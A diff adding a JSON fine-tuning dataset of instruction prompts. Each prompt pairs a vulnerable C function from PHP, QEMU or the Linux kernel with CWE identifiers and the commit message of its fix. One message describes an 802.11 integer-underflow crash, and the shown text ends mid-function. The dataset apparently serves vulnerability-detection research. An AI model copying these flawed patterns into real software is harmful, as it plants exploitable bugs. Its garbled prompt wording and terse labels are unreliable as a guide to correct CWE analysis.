diff --git "a/_Sorted_Diversevul_llama2_dataset.json" "b/_Sorted_Diversevul_llama2_dataset.json" new file mode 100644--- /dev/null +++ "b/_Sorted_Diversevul_llama2_dataset.json" @@ -0,0 +1,4994 @@ +[ + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *make_filename_safe(const char *filename TSRMLS_DC)\n{\n\tif (*filename && strncmp(filename, \":memory:\", sizeof(\":memory:\")-1)) {\n\t\tchar *fullpath = expand_filepath(filename, NULL TSRMLS_CC);\n\n\t\tif (!fullpath) {\n\t\t\treturn NULL;\n\t\t}\n\n\t\tif (PG(safe_mode) && (!php_checkuid(fullpath, NULL, CHECKUID_CHECK_FILE_AND_DIR))) {\n\t\t\tefree(fullpath);\n\t\t\treturn NULL;\n\t\t}\n\n\t\tif (php_check_open_basedir(fullpath TSRMLS_CC)) {\n\t\t\tefree(fullpath);\n\t\t\treturn NULL;\n\t\t}\n\t\treturn fullpath;\n\t}\n\treturn estrdup(filename);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'Improve check for :memory: pseudo-filename in SQlite'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void cirrus_bitblt_cputovideo_next(CirrusVGAState * s)\n{\n int copy_count;\n uint8_t *end_ptr;\n\n if (s->cirrus_srccounter > 0) {\n if (s->cirrus_blt_mode & CIRRUS_BLTMODE_PATTERNCOPY) {\n cirrus_bitblt_common_patterncopy(s, s->cirrus_bltbuf);\n the_end:\n s->cirrus_srccounter = 0;\n cirrus_bitblt_reset(s);\n } else {\n /* at least one scan line */\n do {\n (*s->cirrus_rop)(s, s->vram_ptr + s->cirrus_blt_dstaddr,\n s->cirrus_bltbuf, 0, 0, s->cirrus_blt_width, 1);\n cirrus_invalidate_region(s, s->cirrus_blt_dstaddr, 0,\n s->cirrus_blt_width, 1);\n s->cirrus_blt_dstaddr += s->cirrus_blt_dstpitch;\n s->cirrus_srccounter -= s->cirrus_blt_srcpitch;\n if (s->cirrus_srccounter <= 0)\n goto the_end;\n /* more bytes than needed can be transfered because of\n word alignment, so we keep them for the next line */\n /* XXX: keep alignment to speed up transfer */\n end_ptr = s->cirrus_bltbuf + s->cirrus_blt_srcpitch;\n copy_count = s->cirrus_srcptr_end - end_ptr;\n memmove(s->cirrus_bltbuf, end_ptr, copy_count);\n s->cirrus_srcptr = s->cirrus_bltbuf + copy_count;\n s->cirrus_srcptr_end = s->cirrus_bltbuf + s->cirrus_blt_srcpitch;\n } while (s->cirrus_srcptr >= s->cirrus_srcptr_end);\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,\n\t\t struct ieee80211_rx_stats *rx_stats)\n{\n\tstruct net_device *dev = ieee->dev;\n\tstruct ieee80211_hdr_4addr *hdr;\n\tsize_t hdrlen;\n\tu16 fc, type, stype, sc;\n\tstruct net_device_stats *stats;\n\tunsigned int frag;\n\tu8 *payload;\n\tu16 ethertype;\n#ifdef NOT_YET\n\tstruct net_device *wds = NULL;\n\tstruct sk_buff *skb2 = NULL;\n\tstruct net_device *wds = NULL;\n\tint frame_authorized = 0;\n\tint from_assoc_ap = 0;\n\tvoid *sta = NULL;\n#endif\n\tu8 dst[ETH_ALEN];\n\tu8 src[ETH_ALEN];\n\tstruct ieee80211_crypt_data *crypt = NULL;\n\tint keyidx = 0;\n\tint can_be_decrypted = 0;\n\n\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\tstats = &ieee->stats;\n\n\tif (skb->len < 10) {\n\t\tprintk(KERN_INFO \"%s: SKB length < 10\\n\", dev->name);\n\t\tgoto rx_dropped;\n\t}\n\n\tfc = le16_to_cpu(hdr->frame_ctl);\n\ttype = WLAN_FC_GET_TYPE(fc);\n\tstype = WLAN_FC_GET_STYPE(fc);\n\tsc = le16_to_cpu(hdr->seq_ctl);\n\tfrag = WLAN_GET_SEQ_FRAG(sc);\n\thdrlen = ieee80211_get_hdrlen(fc);\n\n\t/* Put this code here so that we avoid duplicating it in all\n\t * Rx paths. - Jean II */\n#ifdef CONFIG_WIRELESS_EXT\n#ifdef IW_WIRELESS_SPY\t\t/* defined in iw_handler.h */\n\t/* If spy monitoring on */\n\tif (ieee->spy_data.spy_number > 0) {\n\t\tstruct iw_quality wstats;\n\n\t\twstats.updated = 0;\n\t\tif (rx_stats->mask & IEEE80211_STATMASK_RSSI) {\n\t\t\twstats.level = rx_stats->rssi;\n\t\t\twstats.updated |= IW_QUAL_LEVEL_UPDATED;\n\t\t} else\n\t\t\twstats.updated |= IW_QUAL_LEVEL_INVALID;\n\n\t\tif (rx_stats->mask & IEEE80211_STATMASK_NOISE) {\n\t\t\twstats.noise = rx_stats->noise;\n\t\t\twstats.updated |= IW_QUAL_NOISE_UPDATED;\n\t\t} else\n\t\t\twstats.updated |= IW_QUAL_NOISE_INVALID;\n\n\t\tif (rx_stats->mask & IEEE80211_STATMASK_SIGNAL) {\n\t\t\twstats.qual = rx_stats->signal;\n\t\t\twstats.updated |= IW_QUAL_QUAL_UPDATED;\n\t\t} else\n\t\t\twstats.updated |= IW_QUAL_QUAL_INVALID;\n\n\t\t/* Update spy records */\n\t\twireless_spy_update(ieee->dev, hdr->addr2, &wstats);\n\t}\n#endif\t\t\t\t/* IW_WIRELESS_SPY */\n#endif\t\t\t\t/* CONFIG_WIRELESS_EXT */\n\n#ifdef NOT_YET\n\thostap_update_rx_stats(local->ap, hdr, rx_stats);\n#endif\n\n\tif (ieee->iw_mode == IW_MODE_MONITOR) {\n\t\tstats->rx_packets++;\n\t\tstats->rx_bytes += skb->len;\n\t\tieee80211_monitor_rx(ieee, skb, rx_stats);\n\t\treturn 1;\n\t}\n\n\tcan_be_decrypted = (is_multicast_ether_addr(hdr->addr1) ||\n\t\t\t is_broadcast_ether_addr(hdr->addr2)) ?\n\t ieee->host_mc_decrypt : ieee->host_decrypt;\n\n\tif (can_be_decrypted) {\n\t\tif (skb->len >= hdrlen + 3) {\n\t\t\t/* Top two-bits of byte 3 are the key index */\n\t\t\tkeyidx = skb->data[hdrlen + 3] >> 6;\n\t\t}\n\n\t\t/* ieee->crypt[] is WEP_KEY (4) in length. Given that keyidx\n\t\t * is only allowed 2-bits of storage, no value of keyidx can\n\t\t * be provided via above code that would result in keyidx\n\t\t * being out of range */\n\t\tcrypt = ieee->crypt[keyidx];\n\n#ifdef NOT_YET\n\t\tsta = NULL;\n\n\t\t/* Use station specific key to override default keys if the\n\t\t * receiver address is a unicast address (\"individual RA\"). If\n\t\t * bcrx_sta_key parameter is set, station specific key is used\n\t\t * even with broad/multicast targets (this is against IEEE\n\t\t * 802.11, but makes it easier to use different keys with\n\t\t * stations that do not support WEP key mapping). */\n\n\t\tif (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key)\n\t\t\t(void)hostap_handle_sta_crypto(local, hdr, &crypt,\n\t\t\t\t\t\t &sta);\n#endif\n\n\t\t/* allow NULL decrypt to indicate an station specific override\n\t\t * for default encryption */\n\t\tif (crypt && (crypt->ops == NULL ||\n\t\t\t crypt->ops->decrypt_mpdu == NULL))\n\t\t\tcrypt = NULL;\n\n\t\tif (!crypt && (fc & IEEE80211_FCTL_PROTECTED)) {\n\t\t\t/* This seems to be triggered by some (multicast?)\n\t\t\t * frames from other than current BSS, so just drop the\n\t\t\t * frames silently instead of filling system log with\n\t\t\t * these reports. */\n\t\t\tIEEE80211_DEBUG_DROP(\"Decryption failed (not set)\"\n\t\t\t\t\t \" (SA=\" MAC_FMT \")\\n\",\n\t\t\t\t\t MAC_ARG(hdr->addr2));\n\t\t\tieee->ieee_stats.rx_discards_undecryptable++;\n\t\t\tgoto rx_dropped;\n\t\t}\n\t}\n#ifdef NOT_YET\n\tif (type != WLAN_FC_TYPE_DATA) {\n\t\tif (type == WLAN_FC_TYPE_MGMT && stype == WLAN_FC_STYPE_AUTH &&\n\t\t fc & IEEE80211_FCTL_PROTECTED && ieee->host_decrypt &&\n\t\t (keyidx = hostap_rx_frame_decrypt(ieee, skb, crypt)) < 0) {\n\t\t\tprintk(KERN_DEBUG \"%s: failed to decrypt mgmt::auth \"\n\t\t\t \"from \" MAC_FMT \"\\n\", dev->name,\n\t\t\t MAC_ARG(hdr->addr2));\n\t\t\t/* TODO: could inform hostapd about this so that it\n\t\t\t * could send auth failure report */\n\t\t\tgoto rx_dropped;\n\t\t}\n\n\t\tif (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype))\n\t\t\tgoto rx_dropped;\n\t\telse\n\t\t\tgoto rx_exit;\n\t}\n#endif\n\t/* drop duplicate 802.11 retransmissions (IEEE 802.11 Chap. 9.29) */\n\tif (sc == ieee->prev_seq_ctl)\n\t\tgoto rx_dropped;\n\telse\n\t\tieee->prev_seq_ctl = sc;\n\n\t/* Data frame - extract src/dst addresses */\n\tif (skb->len < IEEE80211_3ADDR_LEN)\n\t\tgoto rx_dropped;\n\n\tswitch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) {\n\tcase IEEE80211_FCTL_FROMDS:\n\t\tmemcpy(dst, hdr->addr1, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr3, ETH_ALEN);\n\t\tbreak;\n\tcase IEEE80211_FCTL_TODS:\n\t\tmemcpy(dst, hdr->addr3, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr2, ETH_ALEN);\n\t\tbreak;\n\tcase IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS:\n\t\tif (skb->len < IEEE80211_4ADDR_LEN)\n\t\t\tgoto rx_dropped;\n\t\tmemcpy(dst, hdr->addr3, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr4, ETH_ALEN);\n\t\tbreak;\n\tcase 0:\n\t\tmemcpy(dst, hdr->addr1, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr2, ETH_ALEN);\n\t\tbreak;\n\t}\n\n#ifdef NOT_YET\n\tif (hostap_rx_frame_wds(ieee, hdr, fc, &wds))\n\t\tgoto rx_dropped;\n\tif (wds) {\n\t\tskb->dev = dev = wds;\n\t\tstats = hostap_get_stats(dev);\n\t}\n\n\tif (ieee->iw_mode == IW_MODE_MASTER && !wds &&\n\t (fc & (IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS)) ==\n\t IEEE80211_FCTL_FROMDS && ieee->stadev\n\t && !compare_ether_addr(hdr->addr2, ieee->assoc_ap_addr)) {\n\t\t/* Frame from BSSID of the AP for which we are a client */\n\t\tskb->dev = dev = ieee->stadev;\n\t\tstats = hostap_get_stats(dev);\n\t\tfrom_assoc_ap = 1;\n\t}\n#endif\n\n\tdev->last_rx = jiffies;\n\n#ifdef NOT_YET\n\tif ((ieee->iw_mode == IW_MODE_MASTER ||\n\t ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) {\n\t\tswitch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats,\n\t\t\t\t\t wds != NULL)) {\n\t\tcase AP_RX_CONTINUE_NOT_AUTHORIZED:\n\t\t\tframe_authorized = 0;\n\t\t\tbreak;\n\t\tcase AP_RX_CONTINUE:\n\t\t\tframe_authorized = 1;\n\t\t\tbreak;\n\t\tcase AP_RX_DROP:\n\t\t\tgoto rx_dropped;\n\t\tcase AP_RX_EXIT:\n\t\t\tgoto rx_exit;\n\t\t}\n\t}\n#endif\n\n\t/* Nullfunc frames may have PS-bit set, so they must be passed to\n\t * hostap_handle_sta_rx() before being dropped here. */\n\n\tstype &= ~IEEE80211_STYPE_QOS_DATA;\n\n\tif (stype != IEEE80211_STYPE_DATA &&\n\t stype != IEEE80211_STYPE_DATA_CFACK &&\n\t stype != IEEE80211_STYPE_DATA_CFPOLL &&\n\t stype != IEEE80211_STYPE_DATA_CFACKPOLL) {\n\t\tif (stype != IEEE80211_STYPE_NULLFUNC)\n\t\t\tIEEE80211_DEBUG_DROP(\"RX: dropped data frame \"\n\t\t\t\t\t \"with no data (type=0x%02x, \"\n\t\t\t\t\t \"subtype=0x%02x, len=%d)\\n\",\n\t\t\t\t\t type, stype, skb->len);\n\t\tgoto rx_dropped;\n\t}\n\n\t/* skb: hdr + (possibly fragmented, possibly encrypted) payload */\n\n\tif ((fc & IEEE80211_FCTL_PROTECTED) && can_be_decrypted &&\n\t (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0)\n\t\tgoto rx_dropped;\n\n\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\n\t/* skb: hdr + (possibly fragmented) plaintext payload */\n\t// PR: FIXME: hostap has additional conditions in the \"if\" below:\n\t// ieee->host_decrypt && (fc & IEEE80211_FCTL_PROTECTED) &&\n\tif ((frag != 0) || (fc & IEEE80211_FCTL_MOREFRAGS)) {\n\t\tint flen;\n\t\tstruct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr);\n\t\tIEEE80211_DEBUG_FRAG(\"Rx Fragment received (%u)\\n\", frag);\n\n\t\tif (!frag_skb) {\n\t\t\tIEEE80211_DEBUG(IEEE80211_DL_RX | IEEE80211_DL_FRAG,\n\t\t\t\t\t\"Rx cannot get skb from fragment \"\n\t\t\t\t\t\"cache (morefrag=%d seq=%u frag=%u)\\n\",\n\t\t\t\t\t(fc & IEEE80211_FCTL_MOREFRAGS) != 0,\n\t\t\t\t\tWLAN_GET_SEQ_SEQ(sc), frag);\n\t\t\tgoto rx_dropped;\n\t\t}\n\n\t\tflen = skb->len;\n\t\tif (frag != 0)\n\t\t\tflen -= hdrlen;\n\n\t\tif (frag_skb->tail + flen > frag_skb->end) {\n\t\t\tprintk(KERN_WARNING \"%s: host decrypted and \"\n\t\t\t \"reassembled frame did not fit skb\\n\",\n\t\t\t dev->name);\n\t\t\tieee80211_frag_cache_invalidate(ieee, hdr);\n\t\t\tgoto rx_dropped;\n\t\t}\n\n\t\tif (frag == 0) {\n\t\t\t/* copy first fragment (including full headers) into\n\t\t\t * beginning of the fragment cache skb */\n\t\t\tskb_copy_from_linear_data(skb, skb_put(frag_skb, flen), flen);\n\t\t} else {\n\t\t\t/* append frame payload to the end of the fragment\n\t\t\t * cache skb */\n\t\t\tskb_copy_from_linear_data_offset(skb, hdrlen,\n\t\t\t\t skb_put(frag_skb, flen), flen);\n\t\t}\n\t\tdev_kfree_skb_any(skb);\n\t\tskb = NULL;\n\n\t\tif (fc & IEEE80211_FCTL_MOREFRAGS) {\n\t\t\t/* more fragments expected - leave the skb in fragment\n\t\t\t * cache for now; it will be delivered to upper layers\n\t\t\t * after all fragments have been received */\n\t\t\tgoto rx_exit;\n\t\t}\n\n\t\t/* this was the last fragment and the frame will be\n\t\t * delivered, so remove skb from fragment cache */\n\t\tskb = frag_skb;\n\t\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\t\tieee80211_frag_cache_invalidate(ieee, hdr);\n\t}\n\n\t/* skb: hdr + (possible reassembled) full MSDU payload; possibly still\n\t * encrypted/authenticated */\n\tif ((fc & IEEE80211_FCTL_PROTECTED) && can_be_decrypted &&\n\t ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt))\n\t\tgoto rx_dropped;\n\n\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\tif (crypt && !(fc & IEEE80211_FCTL_PROTECTED) && !ieee->open_wep) {\n\t\tif (\t\t/*ieee->ieee802_1x && */\n\t\t\t ieee80211_is_eapol_frame(ieee, skb)) {\n\t\t\t/* pass unencrypted EAPOL frames even if encryption is\n\t\t\t * configured */\n\t\t} else {\n\t\t\tIEEE80211_DEBUG_DROP(\"encryption configured, but RX \"\n\t\t\t\t\t \"frame not encrypted (SA=\" MAC_FMT\n\t\t\t\t\t \")\\n\", MAC_ARG(hdr->addr2));\n\t\t\tgoto rx_dropped;\n\t\t}\n\t}\n\n\tif (crypt && !(fc & IEEE80211_FCTL_PROTECTED) && !ieee->open_wep &&\n\t !ieee80211_is_eapol_frame(ieee, skb)) {\n\t\tIEEE80211_DEBUG_DROP(\"dropped unencrypted RX data \"\n\t\t\t\t \"frame from \" MAC_FMT\n\t\t\t\t \" (drop_unencrypted=1)\\n\",\n\t\t\t\t MAC_ARG(hdr->addr2));\n\t\tgoto rx_dropped;\n\t}\n\n\t/* If the frame was decrypted in hardware, we may need to strip off\n\t * any security data (IV, ICV, etc) that was left behind */\n\tif (!can_be_decrypted && (fc & IEEE80211_FCTL_PROTECTED) &&\n\t ieee->host_strip_iv_icv) {\n\t\tint trimlen = 0;\n\n\t\t/* Top two-bits of byte 3 are the key index */\n\t\tif (skb->len >= hdrlen + 3)\n\t\t\tkeyidx = skb->data[hdrlen + 3] >> 6;\n\n\t\t/* To strip off any security data which appears before the\n\t\t * payload, we simply increase hdrlen (as the header gets\n\t\t * chopped off immediately below). For the security data which\n\t\t * appears after the payload, we use skb_trim. */\n\n\t\tswitch (ieee->sec.encode_alg[keyidx]) {\n\t\tcase SEC_ALG_WEP:\n\t\t\t/* 4 byte IV */\n\t\t\thdrlen += 4;\n\t\t\t/* 4 byte ICV */\n\t\t\ttrimlen = 4;\n\t\t\tbreak;\n\t\tcase SEC_ALG_TKIP:\n\t\t\t/* 4 byte IV, 4 byte ExtIV */\n\t\t\thdrlen += 8;\n\t\t\t/* 8 byte MIC, 4 byte ICV */\n\t\t\ttrimlen = 12;\n\t\t\tbreak;\n\t\tcase SEC_ALG_CCMP:\n\t\t\t/* 8 byte CCMP header */\n\t\t\thdrlen += 8;\n\t\t\t/* 8 byte MIC */\n\t\t\ttrimlen = 8;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (skb->len < trimlen)\n\t\t\tgoto rx_dropped;\n\n\t\t__skb_trim(skb, skb->len - trimlen);\n\n\t\tif (skb->len < hdrlen)\n\t\t\tgoto rx_dropped;\n\t}\n\n\t/* skb: hdr + (possible reassembled) full plaintext payload */\n\n\tpayload = skb->data + hdrlen;\n\tethertype = (payload[6] << 8) | payload[7];\n\n#ifdef NOT_YET\n\t/* If IEEE 802.1X is used, check whether the port is authorized to send\n\t * the received frame. */\n\tif (ieee->ieee802_1x && ieee->iw_mode == IW_MODE_MASTER) {\n\t\tif (ethertype == ETH_P_PAE) {\n\t\t\tprintk(KERN_DEBUG \"%s: RX: IEEE 802.1X frame\\n\",\n\t\t\t dev->name);\n\t\t\tif (ieee->hostapd && ieee->apdev) {\n\t\t\t\t/* Send IEEE 802.1X frames to the user\n\t\t\t\t * space daemon for processing */\n\t\t\t\tprism2_rx_80211(ieee->apdev, skb, rx_stats,\n\t\t\t\t\t\tPRISM2_RX_MGMT);\n\t\t\t\tieee->apdevstats.rx_packets++;\n\t\t\t\tieee->apdevstats.rx_bytes += skb->len;\n\t\t\t\tgoto rx_exit;\n\t\t\t}\n\t\t} else if (!frame_authorized) {\n\t\t\tprintk(KERN_DEBUG \"%s: dropped frame from \"\n\t\t\t \"unauthorized port (IEEE 802.1X): \"\n\t\t\t \"ethertype=0x%04x\\n\", dev->name, ethertype);\n\t\t\tgoto rx_dropped;\n\t\t}\n\t}\n#endif\n\n\t/* convert hdr + possible LLC headers into Ethernet header */\n\tif (skb->len - hdrlen >= 8 &&\n\t ((memcmp(payload, rfc1042_header, SNAP_SIZE) == 0 &&\n\t ethertype != ETH_P_AARP && ethertype != ETH_P_IPX) ||\n\t memcmp(payload, bridge_tunnel_header, SNAP_SIZE) == 0)) {\n\t\t/* remove RFC1042 or Bridge-Tunnel encapsulation and\n\t\t * replace EtherType */\n\t\tskb_pull(skb, hdrlen + SNAP_SIZE);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), src, ETH_ALEN);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), dst, ETH_ALEN);\n\t} else {\n\t\tu16 len;\n\t\t/* Leave Ethernet header part of hdr and full payload */\n\t\tskb_pull(skb, hdrlen);\n\t\tlen = htons(skb->len);\n\t\tmemcpy(skb_push(skb, 2), &len, 2);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), src, ETH_ALEN);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), dst, ETH_ALEN);\n\t}\n\n#ifdef NOT_YET\n\tif (wds && ((fc & (IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS)) ==\n\t\t IEEE80211_FCTL_TODS) && skb->len >= ETH_HLEN + ETH_ALEN) {\n\t\t/* Non-standard frame: get addr4 from its bogus location after\n\t\t * the payload */\n\t\tskb_copy_to_linear_data_offset(skb, ETH_ALEN,\n\t\t\t\t\t skb->data + skb->len - ETH_ALEN,\n\t\t\t\t\t ETH_ALEN);\n\t\tskb_trim(skb, skb->len - ETH_ALEN);\n\t}\n#endif\n\n\tstats->rx_packets++;\n\tstats->rx_bytes += skb->len;\n\n#ifdef NOT_YET\n\tif (ieee->iw_mode == IW_MODE_MASTER && !wds && ieee->ap->bridge_packets) {\n\t\tif (dst[0] & 0x01) {\n\t\t\t/* copy multicast frame both to the higher layers and\n\t\t\t * to the wireless media */\n\t\t\tieee->ap->bridged_multicast++;\n\t\t\tskb2 = skb_clone(skb, GFP_ATOMIC);\n\t\t\tif (skb2 == NULL)\n\t\t\t\tprintk(KERN_DEBUG \"%s: skb_clone failed for \"\n\t\t\t\t \"multicast frame\\n\", dev->name);\n\t\t} else if (hostap_is_sta_assoc(ieee->ap, dst)) {\n\t\t\t/* send frame directly to the associated STA using\n\t\t\t * wireless media and not passing to higher layers */\n\t\t\tieee->ap->bridged_unicast++;\n\t\t\tskb2 = skb;\n\t\t\tskb = NULL;\n\t\t}\n\t}\n\n\tif (skb2 != NULL) {\n\t\t/* send to wireless media */\n\t\tskb2->dev = dev;\n\t\tskb2->protocol = __constant_htons(ETH_P_802_3);\n\t\tskb_reset_mac_header(skb2);\n\t\tskb_reset_network_header(skb2);\n\t\t/* skb2->network_header += ETH_HLEN; */\n\t\tdev_queue_xmit(skb2);\n\t}\n#endif\n\n\tif (skb) {\n\t\tskb->protocol = eth_type_trans(skb, dev);\n\t\tmemset(skb->cb, 0, sizeof(skb->cb));\n\t\tskb->ip_summed = CHECKSUM_NONE;\t/* 802.11 crc not sufficient */\n\t\tif (netif_rx(skb) == NET_RX_DROP) {\n\t\t\t/* netif_rx always succeeds, but it might drop\n\t\t\t * the packet. If it drops the packet, we log that\n\t\t\t * in our stats. */\n\t\t\tIEEE80211_DEBUG_DROP\n\t\t\t (\"RX: netif_rx dropped the packet\\n\");\n\t\t\tstats->rx_dropped++;\n\t\t}\n\t}\n\n rx_exit:\n#ifdef NOT_YET\n\tif (sta)\n\t\thostap_handle_sta_release(sta);\n#endif\n\treturn 1;\n\n rx_dropped:\n\tstats->rx_dropped++;\n\n\t/* Returning 0 indicates to caller that we have not handled the SKB--\n\t * so it is still allocated and can be used again by underlying\n\t * hardware as a DMA target */\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': '[IEEE80211]: avoid integer underflow for runt rx frames\n\nReported by Chris Evans :\n\n> The summary is that an evil 80211 frame can crash out a victim's\n> machine. It only applies to drivers using the 80211 wireless code, and\n> only then to certain drivers (and even then depends on a card's\n> firmware not dropping a dubious packet). I must confess I'm not\n> keeping track of Linux wireless support, and the different protocol\n> stacks etc.\n>\n> Details are as follows:\n>\n> ieee80211_rx() does not explicitly check that \"skb->len >= hdrlen\".\n> There are other skb->len checks, but not enough to prevent a subtle\n> off-by-two error if the frame has the IEEE80211_STYPE_QOS_DATA flag\n> set.\n>\n> This leads to integer underflow and crash here:\n>\n> if (frag != 0)\n> flen -= hdrlen;\n>\n> (flen is subsequently used as a memcpy length parameter).\n\nHow about this?\n\nSigned-off-by: John W. Linville \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int shmem_getpage(struct inode *inode, unsigned long idx,\n\t\t\tstruct page **pagep, enum sgp_type sgp, int *type)\n{\n\tstruct address_space *mapping = inode->i_mapping;\n\tstruct shmem_inode_info *info = SHMEM_I(inode);\n\tstruct shmem_sb_info *sbinfo;\n\tstruct page *filepage = *pagep;\n\tstruct page *swappage;\n\tswp_entry_t *entry;\n\tswp_entry_t swap;\n\tint error;\n\n\tif (idx >= SHMEM_MAX_INDEX)\n\t\treturn -EFBIG;\n\n\tif (type)\n\t\t*type = 0;\n\n\t/*\n\t * Normally, filepage is NULL on entry, and either found\n\t * uptodate immediately, or allocated and zeroed, or read\n\t * in under swappage, which is then assigned to filepage.\n\t * But shmem_readpage and shmem_write_begin pass in a locked\n\t * filepage, which may be found not uptodate by other callers\n\t * too, and may need to be copied from the swappage read in.\n\t */\nrepeat:\n\tif (!filepage)\n\t\tfilepage = find_lock_page(mapping, idx);\n\tif (filepage && PageUptodate(filepage))\n\t\tgoto done;\n\terror = 0;\n\tif (sgp == SGP_QUICK)\n\t\tgoto failed;\n\n\tspin_lock(&info->lock);\n\tshmem_recalc_inode(inode);\n\tentry = shmem_swp_alloc(info, idx, sgp);\n\tif (IS_ERR(entry)) {\n\t\tspin_unlock(&info->lock);\n\t\terror = PTR_ERR(entry);\n\t\tgoto failed;\n\t}\n\tswap = *entry;\n\n\tif (swap.val) {\n\t\t/* Look it up and read it in.. */\n\t\tswappage = lookup_swap_cache(swap);\n\t\tif (!swappage) {\n\t\t\tshmem_swp_unmap(entry);\n\t\t\t/* here we actually do the io */\n\t\t\tif (type && !(*type & VM_FAULT_MAJOR)) {\n\t\t\t\t__count_vm_event(PGMAJFAULT);\n\t\t\t\t*type |= VM_FAULT_MAJOR;\n\t\t\t}\n\t\t\tspin_unlock(&info->lock);\n\t\t\tswappage = shmem_swapin(info, swap, idx);\n\t\t\tif (!swappage) {\n\t\t\t\tspin_lock(&info->lock);\n\t\t\t\tentry = shmem_swp_alloc(info, idx, sgp);\n\t\t\t\tif (IS_ERR(entry))\n\t\t\t\t\terror = PTR_ERR(entry);\n\t\t\t\telse {\n\t\t\t\t\tif (entry->val == swap.val)\n\t\t\t\t\t\terror = -ENOMEM;\n\t\t\t\t\tshmem_swp_unmap(entry);\n\t\t\t\t}\n\t\t\t\tspin_unlock(&info->lock);\n\t\t\t\tif (error)\n\t\t\t\t\tgoto failed;\n\t\t\t\tgoto repeat;\n\t\t\t}\n\t\t\twait_on_page_locked(swappage);\n\t\t\tpage_cache_release(swappage);\n\t\t\tgoto repeat;\n\t\t}\n\n\t\t/* We have to do this with page locked to prevent races */\n\t\tif (TestSetPageLocked(swappage)) {\n\t\t\tshmem_swp_unmap(entry);\n\t\t\tspin_unlock(&info->lock);\n\t\t\twait_on_page_locked(swappage);\n\t\t\tpage_cache_release(swappage);\n\t\t\tgoto repeat;\n\t\t}\n\t\tif (PageWriteback(swappage)) {\n\t\t\tshmem_swp_unmap(entry);\n\t\t\tspin_unlock(&info->lock);\n\t\t\twait_on_page_writeback(swappage);\n\t\t\tunlock_page(swappage);\n\t\t\tpage_cache_release(swappage);\n\t\t\tgoto repeat;\n\t\t}\n\t\tif (!PageUptodate(swappage)) {\n\t\t\tshmem_swp_unmap(entry);\n\t\t\tspin_unlock(&info->lock);\n\t\t\tunlock_page(swappage);\n\t\t\tpage_cache_release(swappage);\n\t\t\terror = -EIO;\n\t\t\tgoto failed;\n\t\t}\n\n\t\tif (filepage) {\n\t\t\tshmem_swp_set(info, entry, 0);\n\t\t\tshmem_swp_unmap(entry);\n\t\t\tdelete_from_swap_cache(swappage);\n\t\t\tspin_unlock(&info->lock);\n\t\t\tcopy_highpage(filepage, swappage);\n\t\t\tunlock_page(swappage);\n\t\t\tpage_cache_release(swappage);\n\t\t\tflush_dcache_page(filepage);\n\t\t\tSetPageUptodate(filepage);\n\t\t\tset_page_dirty(filepage);\n\t\t\tswap_free(swap);\n\t\t} else if (!(error = move_from_swap_cache(\n\t\t\t\tswappage, idx, mapping))) {\n\t\t\tinfo->flags |= SHMEM_PAGEIN;\n\t\t\tshmem_swp_set(info, entry, 0);\n\t\t\tshmem_swp_unmap(entry);\n\t\t\tspin_unlock(&info->lock);\n\t\t\tfilepage = swappage;\n\t\t\tswap_free(swap);\n\t\t} else {\n\t\t\tshmem_swp_unmap(entry);\n\t\t\tspin_unlock(&info->lock);\n\t\t\tunlock_page(swappage);\n\t\t\tpage_cache_release(swappage);\n\t\t\tif (error == -ENOMEM) {\n\t\t\t\t/* let kswapd refresh zone for GFP_ATOMICs */\n\t\t\t\tcongestion_wait(WRITE, HZ/50);\n\t\t\t}\n\t\t\tgoto 